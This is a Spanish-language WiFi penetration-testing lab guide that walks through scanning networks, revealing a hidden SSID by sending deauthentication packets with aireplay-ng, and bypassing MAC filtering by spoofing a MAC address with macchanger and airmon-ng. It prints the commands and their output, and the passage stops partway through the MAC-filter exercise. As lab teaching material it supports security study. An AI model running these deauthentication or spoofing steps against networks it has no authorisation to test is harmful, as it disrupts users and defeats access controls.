Índice de contenido

Ataque I – Visualizando las redes WIFI	3
Herramienta 1 – Utilizando WIFI Analyzer de Android	3
Paso 1. Abra el programa Wifi Analyzer	3
Paso 2. Seleccione el tipo de vista, tocando el botón (Nota: primer botón de la barra izquierda superior)	3
Herramienta 2 – Utilizando Kismet	5
Paso 0. Pasos previos	5
Paso 1. Ejecute kismet	5
Paso 2. Ejecute el servidor Kismet	6
Paso 3. Cierre la ventana de la consola del servidor kismet	8
Paso 4. Observe las redes detectadas	9
Paso 5. Utilice el menú vista (view) para "limpiar" la pantalla	10
Paso 6. Utilice el menú ventana (Window) para obtener información del AP	10
Herramienta 3 – Utilizando InSSIDer	12
Ataque II – Identificando un SSID oculto	13
Fase I – Comprobando la publicación del SSID	13
Paso 0 – Pasos Previos	13
Paso 1 – Abra el wireshark	13
Paso 2 –Escanee AP con el filtro para la MAC de su SSID	13
Paso 3 – Detenga el escaneo	13
Fase II – Configuración del AP para el ataque	14
Paso 5 –Ingrese a la pantalla de configuración del AP	14
Fase III a– Capturar el SSID de forma pasiva	15
Fase III b – Capturar el SSID de forma activa	16
Ataque III – Ingresando en AP con filtro de MAC	18
Fase I – Configuración del escenario.	18
Paso 1 – Ingrese como administrador al AP	19
Paso 2 – agregue las direcciones IP de los clientes que se conectarán	19
Paso 3 – Reinicie el AP	19
Paso 4 – Conecte los clientes	19
Paso 5 – verifique que se hayan conectado satisfactoriamente	19

Fase II – Desarrollo del ataque	20
Paso 1 – Configuración del modo monitor	20
Paso 2 – Monitoreo de las direcciones de los clientes asociados al AP	21
Paso 3 – Cambio de la dirección MAC a nuestro equipo	21
Paso 4 – Asociación al AP	22

Ataque I – Visualizando las redes WIFI

Herramienta 1 - Utilizando WIFI Analyzer de Android

Descargue el programa desde Goole play o su respectivo repositorio. WIFI Analyzer es una herramienta gratuita

<u>Paso 1. Abra el programa Wifi Analyzer</u>

Este programa es gratuito y pude descargarlo desde el play de google o desde

<u>Paso 2. Seleccione el tipo de vista, tocando el botón (Nota: primer botón de la barra izquierda superior)</u>

Aquí se puede utilizar las siguientes vistas:

- a. **Gráfico de canales**: Nos permite visualizar las redes WIFI listándolas por colores y en donde se muestra la potencia y el nombre de la red, (Imagen 1a)
- b. Gráfico de tiempo: Describe la potencia en función de una línea de tiempo (Imagen 1b)
- c. **Puntuación de canales**: podemos ver de una forma sencilla la dirección MAC del AP si se selecciona el AP con el triángulo color amarillo. (Imagen 2)
- d. Lista de AP: Muestra información más detallada, nombre de la red, potencia, tipo de seguridad y dirección MAC del AP (Imagen 3a)
- e. Medidor de señal: Información de la potencia en formato de medidor analógico. (Imagen 3b)



Imagen No. 1 - Vista gráfico de canales (a) y gráfico de tiempo (b)

🌌 🕆 🚥 🛛 😹 🍞 📶 💈 11:04 AM	🖾 🕀 🚥 🛛 🕬 🍞 📶 💈 11:05 AM
ኛ Wifi Analyzer 🛛 👁 🛛 🖍	Seleccionar
Image: Provide the second state of	cuchillac (b8:a3:86:66:0e:87)
Mejor canal: 14 Canal 1 $1 \times 1 \times$	o upostgrados (00:14:06:15:69:a2)
Canal 3 $\star \star \star \star \star \star \star \star \star$ Canal 4 $\star \star \star \star \star \star \star \star \star$	c ufg (00:14:06:15:69:a1)
Canal 5 $\star \star \star \star \star \star \star \star \star \star \star$ Canal 6 $\star \star \star \star \star \star \star \star \star \star \star$	C Turbo (00:11:f5:4d:6d:11)
Canal 7 ************************************	c ICTI (00:1a:dd:b8:e5:45)
Canal 9 $\star \star \star \star \star \star \star \star \star \star$ Canal 10 $\star \star \star \star \star \star \star \star \star \star$	e e-go (6c:50:4d:c0:48:88)
Canal 11 $\star \star \star \star \star \star \star \star \star \star$ Canal 12 $\star \star \star \star \star \star \star \star \star$	c upostgrados (00:14:06:14:45:92)

Imagen No. 2 – Vista Puntuación de canales



Imagen No. 3 – Vista Lista AP y vista medidor

Herramienta 2 - Utilizando Kismet

Kistmet es una herramienta libre con una interfaz sencilla, que posee opciones muy poderosas, ya que nos permite observar información del fabricante del Punto de Acceso (AP – Access Point), los clientes que se encuentran asociados a un AP, información de paquetes, tramas, etc.

Paso 0. Pasos previos

0.1 Verifique que la WIFI esté bien configurada y soporte inyección de paquetes.

Para ello realice la guía "Pruebas básicas en tarjetas WIFI para pruebas de penetración". Ya que algunas tarjetas que vienen en mini laptops tales como las Centrino y las Broadcom no están bien soportadas, es más, algunas tarjetas físicamente no pueden inyectar tráfico.

0.2 Instale kismet

Para utilizar kismet puede instalarlo en cualquier Linux o utilizar las versiones live, de Kali, BackTrack, wifiway, wifislax

Paso 1. Ejecute kismet

1.1 Presione Alt + F2

1.2 Digite kistmet (en minúsculas)



Puede utilizar también el menú de ayuda de Kali o Backtrack, el cual abre una sesión en la consola de texto.

Digite sólo kismet, Aunque puede utilizar los parámetros del driver, la interfaz que se utilizará y un alias para dicha tarjeta. kismet -c [driver,interface,nombre]

Ejemplo:

kismet -c wlan0, wlan0, wlan0 (sin espacios después de las comillas)

1.3 Acepte la Notificación de ejecución como usuario root

Acepte la confirmación de la pantalla. Dé clic en el botón **OK**

			root@kali: ~	_ 🗆 ×
File Edit	View Search	Terminal	Help	
~ <u>K</u> isme Name	t <u>S</u> ort <u>V</u> iew	<u>W</u> indows T C	Ch Pkts Size K:	<u>ismet</u> ot
<u>MAC</u>	networks se		<u>Freq Pkts Size Manuf</u>	bhhected
l No No GPS i	Kismet r	unning a	s root	
0			as root. This isn't the recommended t as it can be dangerous the risk m any programming errors is increased. tion 'SUID INSTALLATION & SECURITY' for	
0				
INFO: We ERROR: C (ERROR: C (lcome to the ould not con Connection r ould not con Connection r	Kismet nect to refused) n nect to refused) n	Newcore Client Press '`' or '~' to ac Kismet server 'localhost:2501' will attempt to reconnect in 5 seconds. Kismet server 'localhost:2501' will attempt to reconnect in 5 seconds.	

Paso 2. Ejecute el servidor Kismet

2.1 Escoja la opción YES para iniciar el servidor Kismet Presione la tecla enter o dé un clic en el botón "**Yes**".

Name T_C Ch Pkts Size [No networks seen]	<u>Kismet</u> Not Connected
No GPS in (GPS not connected) Get Connected Automatically start Kimet server? Launch Kismet server and connect to it automatically. If you use a Kismet server started elsewhere, choose No and change the Startup preferences.	
Data	
ERROR: Could not connect to Kismet server 'localhost:2501' (Connection refused) will attempt to reconnect in 5 seconds.	

2.2 Defina las opciones del servidor kismet

- Logging = habilitado
- Log Title Kismet = sin opción
- Show Console = habilitado

	root@kali: ~	- • ×
File Edit View Search	Terminal Help	
∼ <u>K</u> ismet <u>Sort V</u> iew Name	Windows T.C.Ch Pkts Size	Kismet Not
		Connected
[No clients see	Start Kiemet Server	
No GPS info (GPS no 0	Startup Options	Packets
	Log Title Kismet	
0	[X] Show Console	
	[Cancel]	Data
INF0: Auto-connectin	g to tcp://localhost:2501	
ERROR: Could not con INFO: Welcome to the	nect to Kismet server 'localhost:2501' Kismet Newcore Client Press '`' or	(Connecti '~' to ac
ERROR: Could not con (Connection r	nect to Kismet server 'localhost:2501' efused) will attempt to reconnect in 5 	seconds.

Dé un clic o enter en el botón "Start"

2.3 Defina la tarjeta y módulo utilizado para el servidor kismet

Espere un momento hasta que aparezca la pantalla en donde se indica que no hay tarjetas definidas para el escaneo en el servidor kismet. Cuando haya aparecido, seleccione el botón yes"

INFO: Indexing manufacturer db
INFO: Completed indexing manufacturer db. 21650 lines 433 indexes
INFO: Creating network tracker
INCO: Creating No courses
INFO. Death No sources
INFO: Registe allowed out the with no packet sources defined
INFO: Pcap to No sources were defined or all defined sources
INFO: Opened encountered unrecoverable errors. p'
INFO: Opened Kismet will not be able to capture any data until
INEQ: Opened a capture interface is added. Add a source nov
INFO: Opened
INFO: Upened
INFO: Kismet starting to gather packets
INFO: No packet sources defined. You MUST ADD SOME using the Kismet
client, or by placing them in the Kismet config file
(/etc/kismet/kismet.conf)
TNEO, Kismot server accented connection from 127 0 0 1
TNPO. KISMet Server accepted connection from 127.0.0.1

2.4 Ingrese los valores de su tarjeta

Por ejemplo:

- Interface = wlan0,
- Name = wlan0,
- Options = cuchillac

Tenga en cuenta que su tarjeta podría llamarse wlan1, eth0 (no es común pero algunos sistemas operativos podrían identificarla de esta manera).



Al finalizar dé un clic en el botón "Add".

Paso 3. Cierre la ventana de la consola del servidor kismet

Dé un clic o presione enter en el botón "Close Console Window", Cierre la ventana, no apague el servidor kistmet

					root@kali: ~	-		×
File	Edit	View	Search	Terminal	Help			
<u> </u>	sme	<u>t Serv</u>	<u>er Cons</u>	<u>ole</u>				
TNEO) K	ismet	server	accented				
INFO								
INFO								
INFO								
THE								
TMLC								
INFO								
INFO								
INFO								
TNEO			g down workMan					
INFO								
INFO								
INFO							2	
TNEO					work " <any>", BSSID 68:17:29:91:5C:9F, 1</any>			
					0, 54.00 mbit			
					[Close Console Window]	X		

Paso 4. Observe las redes detectadas.

root@kali: ~	_ 🗆 ×
File Edit View Search Terminal Help	
<u>~ Kismet Sort View Windows</u> Name T C Ch Pkts Size ptu A 0 6 161 184B	<u>kali</u>
MAC Type Freq Pkts Size Manuf	Elapsed 00:12.21
68:17:29:91:5C:9E Wireless 2437 1 92B Integor	Networks 3
6 Packets	Packets 174
	Pkt/Sec 0
	- Filtered ♡
Data INFO: Detected new managed network "CLAR02009", BSSID 00:24:17: 8D:3E:91, encryption yes, channel 9, 54.00 mbit	
INF0: Detected new probe network " <any>", BSSID 68:17:29:91:5C: 9E, encryption no, channel 0, 54.00 mbit INF0: Saved data files</any>	<u>wlan0</u> Hop

- Con las flechas de desplazamiento puede ver la información por cada AP
- Con la tecla AP puede desplazarse entre la lista de AP y en la lista de clientes conectados a dicho AP.

Note que los AP ocultos aparecen como !<HIDDEN SSID>



Paso 5. Utilice el menú vista (view) para "limpiar" la pantalla

Para obtener información relacionada con la lista de paquetes podemos quitar del menú las siguientes opciones:

- GPS Data. Debido a que no estamos utilizando GPS, desactive esta opción
- Battery. Tenga cargada la batería de la laptop.
- **Packet Grhap.** Esta opción es útil para determinar si hay o no actividad en los AP, pero si sólo se desea observar los AP con sus respectivos clientes conectados es mejor desactivarla.

Paso 6. Utilice el menú ventana (Window) para obtener información del AP

10.1 Información sobre red, AP, clientes, etc.

En la opción "Network Details" se puede observar la información del AP que ha seleccionado en la pantalla principal. Con el menú Network se regresa a la pantalla principal.

× root@	bt: ~	
File Edit View Te	rminal Help	
P		Packet Rate
Name: BSSID: Manuf: First Seen: Last Seen: Type: Channel: Frequency:	cuchillac B8:A3:86:66:0E:87 D-LinkIn May 27 20:13:57 May 27 20:17:32 Access Point (Managed/Infrastructure) 6 2412 (1) - 12 packets, 1.94% 2427 (4) - 54 packets, 8.74% 2432 (5) - 103 packets, 8.74% 2437 (6) - 222 packets, 35.92% 2442 (7) - 161 packets, 26.05% 2447 (8) - 20 packets, 3.24% 2462 (11) - 5 packets, 0.81% 2467 (12) - 12 packets, 1.94% 2472 (13) - 29 packets, 4.69%	
SSID: Lengt Typ Encryptio Beacon Signal:	cuchillac h: 9 e: Beacon (advertising AP) n: None (Open) %: 40 -33dBm (max -28dBm)	

Si se escoge la opción View, podemos ver los clientes conectados

Selected network: B	6:A3:86:6					
			42			
A0:0B:BA:39:00:5D	Unknown	2442	193	17K	SamsungE	

También se puede observar la calidad de la potencia a lo largo del tiempo, esto es útil para determinar cuáles son los mejores y peores puntos físicos para la transmisión.



10.2 Información sobre las transmisiones en canales.

Esta opción es muy útil para determinar los canales que están siendo utilizados, y en cuáles de ellos hay más tráfico. Recuerde que en un canal que haya menos tráfico producido por otros AP, la comunicación en nuestros equipos será más eficiente.



Herramienta 3 - Utilizando InSSIDer

Esta herramienta fue NetStumbler, pero ahora es de pago la versión completa, la versión gratuita tiene menos opciones.

Descargue la versión inssider home desde el repositorio del fabricante y realice las pruebas. http://www.metageek.net/support/downloads/

Si tiene problemas para ejecutarlo una vez instalado, abra el programa con la compatibilidad de una versión anterior (XP o 7 según sea el caso.)

Otra consideración para el uso de InSSID

Ataque II - Identificando un SSID oculto.

Fase I - Comprobando la publicación del SSID

Para esta sección deberá tener acceso como usuario administrador (generalmente "admin") en el Access Point AP, ya que se cambiarán los parámetros de configuración.

<u> Paso 0 - Pasos Previos</u>

0.1 Visualice los SSID cercanos a su tarjeta WI-FI

Utilice cualquier herramienta para ver la publicación de los SSID, las recomendadas son:

- Para Windows: inssider (ejecútelo en modo compatibilidad sino puede abrirlo)
- Para Linux: Kismet (disponible en Backtrack o Kali)
- Para Android: WiFI Analyzer

0.2 Visualice que no haya AP utilizando los mismos canales

Cada AP deberá tener un canal, de lo contrario el tráfico se verá afectado

0.3 Si hubiera duplicidad en el uso de los canales configure su AP para que cada AP tenga su propio canal

0.4 Disminuya la potencia de TX para las pruebas de comunicación.

Paso 1 – Abra el wireshark

0.1 Presione Alt + F"

0.2 digite Wireshark y presione la tecla "enter"

Paso 2 -Escanee AP con el filtro para la MAC de su SSID

Utilice la dirección de su propio AP, para este ejemplo se está utilizando la MAC B8:A3:86:66:0E:87

wlan.addr == B8:A3:86:66:0E:87

Paso 3 - Detenga el escaneo

Verifique que tenga tramas beacon, Source = DLink ...Destination = Broadcast, Protocol = IEEE 802.11 info = Beaconframe ... SSID = "cuchillac"

Paso 4 – verifique el ssid

IEEE 802.3 wireless LAN management Tag SSID SSID: cuchillac

Fase II - Configuración del AP para el ataque

Paso 5 –Ingrese a la pantalla de configuración del AP

Por lo general muchos AP + SW + Router (equipos SOHO) tienen direcciones 192.168.0.1, 192.168.1.1 El usuario por lo general es **admin**

Si no pudiera ingresar debido a que no conoce la contraseña del usuarios**Admin**, dé un reset físico al equipo (generalmente presionando en microswitch RESET)

5.1 Ingrese desde el navegador Web

Hágalo con la máquina cliente, no con la PC con Backtrack o Kali De preferencia ingrese con la tarjeta Ethernet, (generalmente se utiliza DHCP para asignar una dirección IPv4)

5.2 Defina las opciones para el escenario

Ingrese a las opciones de Wireless o la opción adecuada para su AP y defina las siguientes opciones: **AP** = **hidden Security** = **none**

Paso 6 – Reinicie el AP

Paso 7 – Verifique que no haya

Utilice insider, wifianalyzer (android) o Kismety compruebe que ha desaparecido el SSID de la lista

Paso 8 – Abra wireshark y escanee la red con el filtro

Utilice el siguiente filtro (MAC del AP)

wlan.addr == B8:A3:86:66:0E:87

Paso 9 – Verifique que las tramas beacon con la MAC no muestran el SSID cuchillac

Seleccione una trama y vea los campos IEEE 802.3 wireless LAN management Tag SSID SSID:

Paso 10 – intente configurar la máquina cliente para conectarse

Ya sea que utilice Windows, Linux o Android no podrá conectarse a menos que conozca el SSID

Fase III a- Capturar el SSID de forma pasiva

Debe esperar a que el cliente WIFI se conecte de nuevo para ver los paquetes **ProbeRequest** y **Probe Response**ya que en estos paquetes se envía el SSID

Paso 1 - Abrir el Wiresharky utilizar el filtro con la MAC de la SSID

1.1 defina el siguiente filtro

wlan.addr == B8:A3:86:66:0E:87

1.2 Inicie la captura

Paso 2 – Desde otra laptop o móvilconectarse manualmente a la SSID cuchillac con seguridad none Espere a que sistema operativo le indique que ya obtuvo una dirección IPv4

Paso 3-Cuando el móvil o laptop se haya conectado detener la captura.

Paso 4 – Analizar las tramas capturadas

- 4.1 Dé un clic en la columna filtro
- 4.2 Buscar los paquetes **Probe Response**
- 4.3 seleccione una trama y visualice los siguientes campos

IEEE 802.3 wireless LAN managementframe Taggedparameters Tag SSID SSID: cuchillac

Applications Place	es System 🚬			् 🖂 Fri May 24, 9:04 PM 👃			
^ ∨ × mon0 [\	Wireshark 1.6.5 (SVN	Rev Unknown from unk	nown)]				
File Edit View Go C	Capture Analyze Statistic	s Telephony Tools Intern	als Help				
릴 날 일 없 없이 🚔 한 🗶 🐨 🗉 이 수 🗇 🔶 🍯 📃 🗐 🗐 이 이 이 이 🖼 🖾 🔝 🗶 1 😨							
Filter: 88:A3:86:66:0E	:87) && !(wlan.fc.type_sul	btype == 0x08) v Expre	ssion Cle	ear Apply			
No. Time	Source	Destination	Protocol	Length Info	4		
3105 49.964199	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1348, FN=0, Flags=RC, BI=100, SSID=cuchillac			
3106 49.967520	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1348, FN=0, Flags=RC, BI=100, SSID=cuchillac			
3108 49.980072	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1349, FN=0, Flags=C, BI=100, SSID=cuchillac			
3109 49.983365	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1349, FN=0, Flags=RC, BI=100, SSID=cuchillac			
3110 49.986668	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1349, FN=0, Flags=RC, BI=100, SSID=cuchillac			
3111 49.989978	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1349, FN=0, Flags=RC, BI=100, SSID=cuchillac			
3115 50.116391	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1350, FN=0, Flags=C, BI=100, SSID=cuchillac			
3116 50.119693	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1350, FN=0, Flags=RC, BI=100, SSID=cuchillac			
3117 50.123014	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1350, FN=0, Flags=RC, BI=100, SSID=cuchillac			
3118 50.126299	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1350, FN=0, Flags=RC, BI=100, SSID=cuchillac			
3143 51.107201	192.168.0.1	239.255.0.1	UDP	263 Source port: 11887 Destination port: 9303			
3191 54.068590	192.168.0.1	239.255.0.1	UDP	263 Source port: 11887 Destination port: 9303			
3247 57.140591	192.168.0.1	239.255.0.1	UDP	263 Source port: 11887 Destination port: 9303			
+ Frame 3118: 400	bytes on wire (3200 b	its), 400 bytes captur	ed (3200 l	bits)	A		
+ Radiotap Header	v0, Length 26						
+ IEEE 802.11 Prob	e Response, Flags:	RC					
- IEEE 802.11 wire	less LAN management f	rame					
🛞 Fixed paramete	ers (12 bytes)						
Tagged paramet	ters (334 bytes)						
🖃 Tag: SSID pa	arameter set: cuchill	ac					
Tag Numbe	er: SSID parameter set	(0)					
Tag lengt	:h: 9						
SSID: cuc	:hillac						
- Tag: Support	ted Rates 1(B), 2(B),	5.5(B), 11(B), 6, 9,	12, 18, [M	Mbit/sec]			
Tag Numbe	r · Sunnorted Rates (1	1					
0000 00 00 1a 00 2	2f 48 00 00 b4 03 70	af 00 00 00 00/	′Нр	•••	A		
0010 10 02 6c 09 a	a0 00 db 01 00 00 50	08 3a 01 00 37l.	P.:	7			
0020 6d c9 bb 5c b	o8 a3 86 66 0e 87 b8	a3 86 66 0e 87 m\.	f	f			
0030 60 54 0e 0c a	at 8c 00 00 00 00 64	00 21 04 00 09 T	d.!		٧		
 File: "/tmp/wireshar 	rk_mon0_20130 = Packe	ets: 3250 Displayed: 1610 M	larked: 0 Dr	ropped: 0 Profile: Default			
		· · · · · · · · · · · · · · · · · · ·			_		

Paso 5 – Conéctese desde la otra PC

Fase III b - Capturar el SSID de forma activa

Como activa quiero decir que enviaremos paquetes de desautenticación (deauthentication)

Paso 1 – iniciar el wireshark para captura de paquetes

Para evitar que el wireshark muestre todos los paquetes de beacom usaremos el siguiente filtro

(wlan.addr == B8:A3:86:66:0E:87) &&! (wlan.fc.type subtype == 0x08)

Paso 2 – enviar paquetes deauthentication a los clientes conectados

root@bt:~# aireplay-ng -0 5 -a B8:A3:86:66:0E:87 mon0

```
21:03:42 Waiting for beacon frame (BSSID: B8:A3:86:66:0E:87) on channel 1
NB: this attack is more effective when targeting
A connected wireless client (-c <client'smac>).
21:03:43 SendingDeAuthtobroadcast -- BSSID: [B8:A3:86:66:0E:87]
21:03:43 SendingDeAuthtobroadcast -- BSSID: [B8:A3:86:66:0E:87]
21:03:44 SendingDeAuthtobroadcast -- BSSID: [B8:A3:86:66:0E:87]
21:03:44 SendingDeAuthtobroadcast -- BSSID: [B8:A3:86:66:0E:87]
21:03:44 SendingDeAuthtobroadcast -- BSSID: [B8:A3:86:66:0E:87]
```

En donde:

0 opción para ataque de deauthentication

5 cantidad de paquetes que se enviarán

a dirección MAC del AP

Paso 3 – Sea observador y vea que los clientes pierden la IP

Vea que los clientes intentarán automáticamente la conexión de nuevo.

Paso 4 – Regrese a Wireshark y detenga la captura

Paso 5 – Visualice los paquetes Probe Response

Applications Plac	es System 🚬		4	🖂 Fri May 24, 9:04 PM 💄	
^ ∨ × mon0 [Wireshark 1.6.5 (SVN F	tev Unknown from unk	nown)]		
File Edit View Go (Capture Analyze Statistics	Telephony Tools Intern	als Help		
9 9 9 9	êi i 📔 🐣 🗶 🤇	। २ 🔶 🖒	∿ 🖌 🖇	2 🗐 🗔 ९ ९ ९ 🖺 📓 🛯 🝢 👔	
Filter: 88:A3:86:66:0E	::87) && !(wlan.fc.type_sub	type == 0x08) v Expre	ssion Clea	r Apply	
No. Time	Source	Destination	Protocol L	ength Info	
3105 49.964199	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1348, FN=0, Flags=RC, BI=100, SSID=cuchillac	
3106 49.967520	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1348, FN=0, Flags=RC, BI=100, SSID=cuchillac	
3108 49.980072	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1349, FN=0, Flags=C, BI=100, SSID=cuchillac	
3109 49.983365	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1349, FN=0, Flags=RC, BI=100, SSID=cuchillac	
3110 49.986668	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1349, FN=0, Flags=RC, BI=100, SSID=cuchillac	
3111 49.989978	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1349, FN=0, Flags=RC, BI=100, SSID=cuchillac	
3115 50.116391	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1350, FN=0, Flags=C, BI=100, SSID=cuchillac	
3116 50.119693	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1350, FN=0, Flags=RC, BI=100, SSID=cuchillac	
3117 50.123014	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1350, FN=0, Flags=RC, BI=100, SSID=cuchillac	
3118 50.126299	D-LinkIn_66:0e:87	MurataMa_c9:bb:5c	802.11	400 Probe Response, SN=1350, FN=0, Flags=RC, BI=100, SSID=cuchillac	
3143 51.107201	192.168.0.1	239.255.0.1	UDP	263 Source port: 11887 Destination port: 9303	
3191 54.068590	192.168.0.1	239.255.0.1	UDP	263 Source port: 11887 Destination port: 9303	
3247 57.140591	192.168.0.1	239.255.0.1	UDP	263 Source port: 11887 Destination port: 9303	
+ Frame 3118: 400	bytes on wire (3200 bi	ts), 400 bytes captur	ed (3200 bi	ts)	
+ Radiotap Header	v0, Length 26				
+ IEEE 802.11 Prob	e Response, Flags:	.RC			
IEEE 802.11 wireless LAN management frame					
❀ Fixed parameters (12 bytes)					
Tagged parameters (334 bytes)					
🖮 Tag: SSID parameter set: cuchillac					
Tag Number: SSID parameter set (θ)					
Tag length: 9					
SSID: cuchillac					
Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 9, 12, 18, [Mbit/sec]					
Tag Numbe	er · Sunnorted Rates (1)	-		III	
0000 00 00 1a 00 2	21 48 00 00 b4 03 70 a	at 00 00 00 00/	'Hp	7	
10/10/11/0/2/DC/09/30/00/01/10/00/20/08/30/11/00/3/					
File: "/tmp/wiresha	rk mon0 20130 = Packet	s: 3250 Displayed: 1610 M	larked: 0 Dron	ned: 0 = Profile: Default	
- me. /mp/wresha	IN_INDID_20150 Packet	5. 5250 Displayed. 1010 M	anca. O Diop	- Flohic, Delaut	

Guía de pruebas de penetración en redes WIFI – Elaborada por Ing. Víctor Cuchillac (papá) – Pág. 16 de 23

Notas:

- Se puede utilizar la herramienta aircrak-ng
- Se puede enviar los paquetes de deauthentication a un usuario específico

Ahora con el dato obtenido configure la tarjeta Wireless del BT o Kali para navegar en Internet.

Recuerde además utilizar una MAC diferente para su WIFI.

Reto Es posible que usted navegue con la misma dirección MAC de un cliente Asociado al AP. Es decir ¿Es posible que las dos máquinas con una misma MAC puedan navegar en un AP con filtro MAC?

Ataque III – Ingresando en AP con filtro de MAC

Utilizando filtrado de MAC para la autenticación de los clientes

En los AP se puede definir que sólo los MAC escritas en la tabla de direcciones MAC puedan ingresar. Tenga en cuenta que se consideran en el AP + SW + Router las direcciones MAC de las tarjetas ethernet que se conectan al SW

Fase I - Configuración del escenario.

Para este escenario se necesita la siguiente configuración del AP

```
AP = no hidden (visible)
Security = none
Network filter = las mac de los clientes
```

Es muy conveniente utilizar 1 AP con filtros MAC 1 PC con backtrak 2 clientes WI-FI (1 laptop y 1 smartphone)

Será necesario identificar las direcciones MAC de todos los dispositivos, por ejemplo en este escenario:

Eq.	Dispositivo	Tipo de NIC	MAC	Dirección IP (opcional)	Descripción
1	AP	WAN	B8.73.86.66.0E.88	192 168 20 125	ISP, o los valores para
			D0.A9.00.00.0E.00	192.100.20.125	conectarse a Internet
		LAN	B8:A3:86:66:0E:87	192 168 0 1	El valor que tendrá el AP
				192.100.0.1	dentro de la red LAN
		SSID	B8·A3·86·66·0F·87	cuchillac	Ch 6, modo 11gbn,
			D0.A9.00.00.0E.07	cucinitiac	chanel width 20 MHz
	Laptop con Backtrack Kali	LAN	00:23:8b:4f:9c:53	192 168 0 100	Este valor es conveniente
				192.100.0.100	saberlo si se utiliza la LAN
2		WI-FI	00.24.25.06.86.15		El valor original de la MAC.
2			00.24.20.00.00.13		El nombre de la PC es bt
			00.11.22.22.22.22		El valor que se utilizará
			00.11.22.00.00.00		para las pruebas
2	Cliente 1	\A/I_EI	A0.0B.BA.39.00.5d	192 168 0 101	Tablet android puede ser
5	Chente I	VVI-I I	110.0D.DA. 39.00.34	192.100.0.101	cualquier otro equipo
л	Cliente 2	WI-FI	00.19.50.80.20.03	192 168 0 103	laptopHP2 (Ubuntu)
4	Cheffle 2		00.17.35.00.20.03	192.100.0.103	Tarjeta Dlink

Nota: para el laboratorio en lugar de 192.168.20.125 podrá ser una IP del rango 10.10.3.X, si está en su casa utilice la IP provista por el ISP.

<u> Paso 1 – Ingrese como administrador al AP</u>

1.1 Ingrese a la pantalla de configuración.

Utilizando la dirección IP LAN de su AP, para este caso 192.168.0.1, en otros AP puede ser 192.168.1.1

1.2 Ingrese la contraseña del usuario "admin"

Paso 2 - agregue las direcciones IP de los clientes que se conectarán

Para esta prueba puede definir la MAC de android o del cliente Windows.

Nota:

No ingrese la MAC de la WI-FI de la PC con Backtrack

2.1 Ingresa a la opción para filtros MAC

Esto dependerá de cada AP, para este caso: Para este caso, Seleccione **Advanced** y luego **networkfilter**

2.2 Active la opción de filtro

ON y ALLOW PC in thislist

3.3 Digite las direcciones MAC

Para mi ejemplo:

a0:0b:ba:39:00:5d <-- Computername 08:00:08:11:22:33 <-- Computername

Nota:

No olvide digitar la MAC del tarjeta ethernet que está utilizando para configurar el router de lo contrario no podrá configurarlo desde la ethernet

<u> Paso 3 – Reinicie el AP</u>

Paso 4 - Conecte los clientes

La práctica se entenderá mejor con dos clientes, pero puede utilizar como mínimo un cliente. Para mi caso estoy utilizando una Tablet con android y una PC con Ubuntu

Paso 5 - verifique que se hayan conectado satisfactoriamente

Vea la tabla de direcciones IP entregadas por el AP Navegue en los clientes.

Fase II - Desarrollo del ataque

Paso 1 - Configuración del modo monitor

Utilizaremos la dirección 00:11:22:aa:aa:aa para las pruebas de monitoreo, recuerde que este paso es opcional, se recomienda para mantener el anonimato.

1.1 Detenga la wlan0 para (opcional) root@bt:~# ifconfig wlan0 down

1.2 Asigne una MAC ficticia para las pruebas (opcional)
root@bt:~# macchanger --mac 00:11:22:aa:aa:aa wlan0
Current MAC: 00:24:2b:06:8c:15 (unknown)
Faked MAC: 00:11:22:aa:aa:aa (Cimsys Inc)

1.3 Active la tarjeta wlan0 (opcional) root@bt:~# ifconfig wlan0 up

1.4 Cree el objeto monitor para la wlan0 root@bt:~# airmon-ng start wlan0

Found 2 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! PID Name 2595 dhclient3 2652 dhclient3

Process with PID 2652 (dhclient3) is running on interface wlan0 Interface Chipset Driver wlan0 Atheros AR2425 ath5k - [phy0] (monitor mode enabled on mon0)

1.5 Verifique que se haya creado el monitor monO root@bt:~# iwconfig

lo no wireless extensions.

mon0 IEEE 802.11bg Mode:Monitor Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Power Management:on

wlan0 IEEE 802.11bg ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off eth0 no wireless extensions.

Paso 2 - Monitoreo de las direcciones de los clientes asociados al AP

2.1 Identifique los datos de AP

Se necesita conocer el nombre del SSID y la dirección MAC del SSID, el canal de transmisión, el tipo de autenticación (en este escenario: open) y encriptación (en este escenario: none)

Para ello puede utilizar Wireshark, kismet, WIFI analyzer, entre otros métodos

2.2 Identifique la dirección MAC de los clientes conectados

Digite el siguiente comando, en donde:

-c 6 = el canal de nuestro AP
-a = muestra los clientes asociados
-- bssid = es la MAC del SSID
mon0 = el objeto monitor que se utilizará para el escaneo

